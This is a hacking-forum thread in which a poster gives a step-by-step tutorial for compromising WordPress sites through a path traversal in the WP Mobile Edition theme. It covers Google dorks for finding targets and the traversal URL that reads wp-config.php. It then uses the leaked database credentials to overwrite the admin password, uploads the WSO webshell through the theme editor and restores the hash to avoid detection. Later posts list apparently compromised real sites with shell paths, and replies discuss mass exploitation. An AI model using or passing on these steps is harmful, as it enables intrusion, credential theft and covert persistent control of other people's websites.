

Forum:[Hack Forums](#)

Thread: [\[WordPress Hacking Tutorials:\]>_100,000+ Vulnerable Websites_\[WP Mobile Edition 2.7\]](#)

mObile - April 15, 2015, 7:38 pm

[img]http://www.binaryideasmobile.com/assets/public_/images/img_app.png[/img]

A few days ago Killab?ts~ posted the latest public WordPress exploit..

Quote:<https://hackforums.net/showthread.php?tid=4777782>

Source:

Quote:<http://www.exploit-db.com/exploits/36733/>

But did not really go into detail how to fully run this, so I thought I'd explain to some of you how it's done.

Tutorial:

1.) Google Dork:

PHP Code

<?php

inurl:?fdx_switcher=mobile

2.) Pick a target from google and add this path to the end of the URL:

PHP Code

<?php

/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../../wp-config.php

EXAMPLE:

PHP Code

<?php

<http://target.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../../wp-config.php>

3.) If the target is vulnerable you will see the wp.config.php file.

4.) Notice the MySQL database credentials ;Quote: DB_NAME:

DB_USER:

DB_PASSWORD:

DB_HOST:

There are 3 methods you can try to connect to the database.

Method #1:

Use a database administration tool for MySQL. like DBkiss or Adminer. If you don't have one you can use DBkiss hosted from my tool-box.

PHP Code

<?php

<http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php>

Next enter the database credentials, if you see "localhost" under DB_HOST: Use a URL to IP Converter to resolve the server IP.

PHP Code

<?php

<http://freelabs.info/urltoiponline.aspx>

Then connect.

If successful, locate a user directory like "wp-users" "users" ..ect and click edit.

Next copy the admin/users password and paste it in a notepad (you will need it later)

Now go to a MD5 hash generator and create a password of your choosing and paste it in the same notepad.

PHP Code

<?php

<http://www.md5hashgenerator.com/index.php>

Ok now go back, edit and paste your MD5 password under admin's pass, and click Edit.

Ok now that, that's done, let's login at:

PHP Code

<?php

<http://www.target.com/wp-login.php>

WordPress Dashboard:

Method #2:

If method 1 does not work, you can try:

PHP Code

<?php

</phpmyadmin/index.php>

</phpMyAdmin/index.php>

</pma/index.php>

EXAMPLE:

PHP Code

<?php

<http://target.com/phpmyadmin/index.php>

Like in method 1 change the admin password with your own. then login.

PHP Code

```
<?php
```

<http://www.target.com/wp-login.php>

Method #3:

This method is a last resort. Some admins are stupid enough to use the same password for the MySQL database and WP Dashboard login. Just enter the details in the wp-login. And 80% of the time the username will be admin

UPLOAD YOUR SHELL THROUGH WORDPRESS DASHBOARD:

Now that were in the WordPress Dashboard let's put our webshell on the site. To do that there are 2 method you can use. First you're gonna need a webshell. If you don't have one I've provided one I use in the link below.

WSO 2.6 Webshell:

Quote:<http://pastebin.com/LFnPNNr6>

PASSWORD: revolution

First Method:

1.) Once you gain access to the dashboard you will be able to upload your shell to the site by clicking on Appearance then Editor.

2.) On the left under Templates click on 404 template (404.php)

3.) Next paste your shell code and click "Upload File"

4.) Enter URL below to access your shell.

PHP Code

```
<?php
```

www.target.com/wp-content/themes/THEME NAME /404.php

Click in the middle of the page for the hidden login and enter the shell password: revolution

Second Method:

Sometimes it will not let you edit themes from the dashboard to bypass this you need to download a free WordPress theme at:

Quote:<https://wordpress.org/themes/browse/popular/>

1.)Next open theme.zip and delete the 404.php from the theme.

Next open a notepad and cut-n-paste the shell code into it and save it as 404.php and then move it into your theme, and save. Now our shell is in the theme.

2.) Ok now let's upload our theme. Go to Appearance then themes.

3.) Click Install Themes then Upload and install your theme.zip

4.) Enter URL below to access your shell.

PHP Code

<?php

www.target/wp-content/themes/THEME NAME /404.php

Click in the middle of the page for the hidden login and enter the shell password: revolution

Congratulations! You just shelled a WordPress Website. ? From here you can edit/delete ANYTHING on the site, but please do not, these people work hard on there websites so it's best to leave it alone. Instead, save it and use it to host scripts/pics/html/php ..ect

Were not done, remember I told you to save the admins password? To stay undetected replace the admins password in the Database and click Edit/Go and logout. Now everything is back to normal, but we now have our shell on the site. That's it, there are a ton of WordPress website vulnerable to this exploit. Have fun! ?

'Cynical - April 15, 2015, 7:55 pm

Every time I try this, I can't get into the DB due to it saying that the MySQL request was unaccepted or w/e, and /pma/, /phpmyadmin/, and /phpMyAdmin/ don't exist. :(

Nice tutorial, though. ?

mObile - April 15, 2015, 8:01 pm

::::::More WordPress Hacking Tutorials::::::

Quote:<https://hackforums.net/showthread.php?tid=4756985>

Quote:<https://hackforums.net/showthread.php?tid=4751712>

Quote:<https://hackforums.net/showthread.php?tid=2667946>

Quote:<https://hackforums.net/showthread.php?tid=2312449>

F-Nuke - April 15, 2015, 8:06 pm

You seem to be replacing a Blowfish salted PHPass encryption with an normal MD5 encryption. How is this gonna work?

Please correct me if I'm wrong.

'Cynical - April 15, 2015, 8:07 pm

(Apr 15, 2015 08:06 PM)F-Nuke Wrote: [\[CITE\]](#) You seem to be replacing a Blowfish encryption with an MD5 encryption. How is this gonna work?

Please correct me if I'm wrong.

Wordpress uses md5(unix), which, I believe, is why it works...

Not entirely sure.

AegisHecate - April 15, 2015, 8:07 pm

Can't find a single site that I can even add

/wp-content/themes/mTheme-Unus/css/css.php?files=../../wp-config.php to the end of -.-

F-Nuke - April 15, 2015, 8:09 pm

(Apr 15, 2015 08:07 PM)?Roku Wrote: [\[CITE\]](#) Wordpress uses md5(unix), which, I believe, is why it works...

Not entirely sure.

In the picture, the previously existing hashes are blowfish phpass. PHPass uses a salt. How does a normal md5 encryption work in this case? Correct me if I'm wrong.

r0ml4h - April 15, 2015, 8:56 pm

HQ tut, very detailed tutorial ?

CaFeR - April 15, 2015, 9:07 pm

How can we find the DataBase? I didn't see.

Ooze - April 15, 2015, 9:15 pm

Thank you for this man I love your exploit posts and tutorials.

Keep up the HQ posting!

Also how do I log in to your site cause its asks for a username and pass.

xXNepalmXx - April 16, 2015, 6:45 am

Btw can't login into a single MySQL database cause it says everytime error... this exploit is useless for me.

?k!LLabi?s.~ - April 16, 2015, 7:28 am

Thanks for detailing this, very good job buddy.

sp3ctrum - April 16, 2015, 11:23 am

(Apr 15, 2015 08:09 PM)F-Nuke Wrote: [\[CITE\]](#) In the picture, the previously existing hashes are blowfish phpass. PHPass uses a salt. How does a normal md5 encryption work in this case? Correct me if I'm wrong.

This isn't blowfish. You can extend WordPress to use a blowfish or DES 16 pass encryption but this is just the default 8 pass MD5 encryption that WordPress implements. If upgraded and a salt is used the hash layout will be (\$hashtype\$salt\$password) notice how (\$) is not present in the middle of the hashed password. This concludes that a salt was not used, and it's the default hashing function. Also you can manually reset the hashed password to normal MD5 in the database, but upon first login WordPress will change the standard MD5 to the default 8 pass MD5 hashing function. Older versions of WordPress supported MD5 so I guess with updates they just changed the algorithm used to make everything a bit more secure.

hyhyyhhrf3 - April 19, 2015, 1:58 am

this is probably the only guy who posts real hacking shit

vendettalogzz - April 19, 2015, 4:59 am

Been searching for the theme name

Thanks for the tutorial bro

mObile - April 19, 2015, 9:46 am

(Apr 15, 2015 07:55 PM)?Roku Wrote: [\[CITE\]](#) Every time I try this, I can't get into the DB due to it saying that the mySQL request was unaccepted or w/e, and /pma/, /phpmyadmin/, and

/phpMyAdmin/ don't exist. :(

Nice tutorial, though. ?

(Apr 15, 2015 08:07 PM)AegisHecate Wrote: [\[CITE\]](#) Can't find a single site that I can even add /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php to the end of -.-

(Apr 16, 2015 06:45 AM)xXNepalmXx Wrote: [\[CITE\]](#) Btw can't login into a single MySQL database cause it says everytime error... this exploit is useless for me.

(Apr 19, 2015 04:59 AM)vendettalogzz Wrote: [\[CITE\]](#) Been searching for the theme name
Thanks for the tutorial bro

Not every site is vulnerable to this exploit. You have to find them. There are plenty of sites to exploit. Here's some more dorks to find even more.

Dorks:

PHP Code

<?php

inurl:?fdx_switcher=desktop

inurl:?fdx_switcher=true

inurl:?fdx_switcher=mobile

inurl:?fdx_switcher=

And a few demo sites, showing each method used in OP.

Method #1:

PHP Code

<?php

http:

//www.alohamortgagesolutions.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Shell:

PHP Code

<?php

http://www.alohamortgagesolutions.com/images/bha.php

Method #2:

PHP Code

<?php

http:

//www.wietblog.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Shell:

PHP Code

<?php

http://www.wietblog.com/bha.php

Method #3:

PHP Code

<?php

http:

//enviarpostales.net/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Shell:

PHP Code

<?php

http://enviarpostales.net/wp-content/themes/twentyfourteen/404.php

Crescice - April 19, 2015, 10:03 am

I always get the error: Can't connect to MySQL server on '(IP HERE)' (4) (2003)

mcgbg - April 19, 2015, 10:06 am

thank you man good share :) ...

vendettalogzz - April 19, 2015, 10:18 am

I found a couple of vulnerable sites, uploaded the webshell. Only to find myself detected and deleted within a few minutes in about 4 different sites

Mr. WAVES - April 19, 2015, 10:58 am

Thank you for this HQ tutorial! I can vouch for it

itoxiik - April 19, 2015, 7:36 pm

wow great exploit works very well!!! Thanks a lot!!!

terrence09 - April 21, 2015, 8:05 am

(Apr 19, 2015 10:03 AM)Crescice Wrote: [\[CITE\]](#) I always get the error: Can't connect to MySQL server on '(IP HERE)' (4) (2003)
same as yours dude ,, how to connect?

Kdog - April 21, 2015, 8:17 am

Very nice tutorial, Thanks! Keep up the good work :)

Anidektwist - April 21, 2015, 8:53 am

when i login in the database it always tells me that the user doesn't have permission

CocoLoLo - April 21, 2015, 1:11 pm

Thanks for the exploits , can i ask you u find the exploit or you read them from another site like exploitsdb etc. ? thanks in advance

*****W0lf***** - April 22, 2015, 3:16 am

Always get this "Error: mysql_connect() failed: Can't connect to MySQL server on "

Easy987 - April 22, 2015, 10:14 am

Thank you man. You always founding awesome exploits :D

knightserv - April 22, 2015, 11:30 pm

m0bi13_xT i need a user & pass to login to your toolbox...please....

MNZK0406 - May 23, 2015, 10:01 am

thanks for giving me all this important tips ! thank you man this will be decreasing my burden a lot !
thanks man ! appreciate !

Tricks7er - May 25, 2015, 5:42 pm

Haha nice, just like the local file disclosure with the revslider plugin, I made a tutorial on how to use the details of the wp-config to login a while back but keep it up.

TheGoose - May 25, 2015, 6:31 pm

Nice :)

The only problem is to find a website that has php / phpmyadmin or allows remote mysql access :P

Despicabl3 - May 26, 2015, 8:10 am

holy shit.. 100k vulnerable sites? does wordpress even run 100k sites

Tricks7er - May 27, 2015, 4:14 pm

(May 26, 2015 08:10 AM)Despicabl3 Wrote: [\[CITE\]](#) holy shit.. 100k vulnerable sites? does wordpress even run 100k sites

It runs millions of sites.. It's one of the most used content management systems.

wudi774970 - October 16, 2018, 8:01 pm

I don't have permission to pm, you can give me a contact email or Jabber, I want to pay for learning.

mObile - October 16, 2018, 9:03 pm

(Oct 16, 2018 08:01 PM)wudi774970 Wrote: [\[CITE\]](#) I don't have permission to pm, you can give me a contact email or Jabber, I want to pay for learning.

Sent you my contact information. ?

SpamTec - October 18, 2018, 8:51 am

very cool method! unfortunately most servers are locally hosted :(

diastolik - October 19, 2018, 10:50 am

this looks promising but complicated. would be nice if alot of these balogny steps were either automated or streamlined with a front end.

this looks like alot of unneccissary BS to get the results u could get much faster with software. imagine doing this to 10,000 sites and putting a brominer on it

this looks promising but complicated. would be nice if alot of these balogny steps were either automated or streamlined with a front end.

this looks like alot of unneccissary BS to get the results u could get much faster with software. imagine doing this to 10,000 sites and putting a brominer on it